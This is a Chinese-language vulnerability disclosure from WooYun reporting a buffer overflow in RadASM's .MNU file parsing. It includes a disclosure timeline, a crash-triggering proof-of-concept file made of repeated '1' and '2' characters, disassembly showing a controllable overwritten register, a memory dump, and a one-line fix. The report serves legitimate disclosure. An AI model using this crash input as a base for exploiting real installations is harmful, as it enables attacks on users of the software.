漏洞详情

披露状态:

2013-12-30: 细节已通知厂商并且等待厂商处理中
2014-01-04: 厂商已经确认,细节仅向厂商公开
2014-01-07: 细节向第三方安全合作伙伴开放
2014-01-14: 细节向核心白帽子及相关领域专家公开
2014-01-24: 细节向普通白帽子公开
2014-02-13: 细节向实习白帽子公开
2014-03-30: 细节向公众公开

简要描述:

第一弹是处理.RC文件的缓冲区溢出漏洞
第二弹是处理.DLG文件的缓冲区溢出漏洞
第三弹是处理.MNU文件的缓冲区溢出漏洞
原理:在处理.MNU文件时未对结构大小进行检测,造成缓冲区溢出。

详细说明:

原理:在处理.MNU文件时未对结构大小进行检测,造成缓冲区溢出。

这里我随意构造触发程序崩溃的poc 把下面数据以文本形式保存,命名为poc.mnu(80H个1 4个2)

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111112222









相应代码:

004245CD . 8DBD BCFEFFFF lea edi, dword ptr [ebp-144]

004245D3 . 8B4E 68 mov ecx, dword ptr [esi+68] ; ecx被淹没 可控

004245D6 . 0BC9 or ecx, ecx

004245D8 . 74 06 je short 004245E0

004245DA . B0 2E mov al, 2E

004245DC > AA stos byte ptr es:[edi]

004245DD . AA stos byte ptr es:[edi]

004245DE .^ E2 FC loopd short 004245DC



0B8B0048 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

0B8B0058 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 00 111111111111111.

0B8B0068 31 31 31 31 31 31 64 00 31 31 31 31 31 31 31 31 111111d.11111111

0B8B0078 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

0B8B0088 31 31 31 31 31 31 31 31 31 31 31 00 31 31 31 31 11111111111.1111

0B8B0098 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

0B8B00A8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

0B8B00B8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111

0B8B00C8 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 00 111111111111111.

0B8B00D8 32 32 32 32 00 00 00 00 00 00 00 00 00 00 00 00 2222............







004010B4 |> /8A0431 /mov al, byte ptr [ecx+esi]

004010B7 |. |880439 |mov byte ptr [ecx+edi], al

004010BA |. |41 |inc ecx

004010BB |. |0AC0 |or al, al

004010BD |.^\75 F5 \jnz short 004010B4

漏洞证明:

RADASM.jpg

修复方案:

检测大小

版权声明:转载请注明来源 光刃@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-04 10:56

厂商回复:

最新状态:

暂无


漏洞评价: